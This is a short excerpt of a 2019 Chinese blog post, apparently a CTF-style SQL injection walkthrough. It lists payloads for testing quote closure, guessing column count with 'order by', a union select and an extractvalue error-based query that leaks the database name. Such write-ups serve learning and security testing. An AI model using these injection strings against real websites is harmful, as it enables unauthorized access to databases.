摘要: 1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' and extractvalue(0x0a,concat(0x0a,(database())))# :数据 阅读全文
posted @ 2019-10-11 21:24 东坡肉肉君 阅读(5521) 评论(1) 推荐(2) 编辑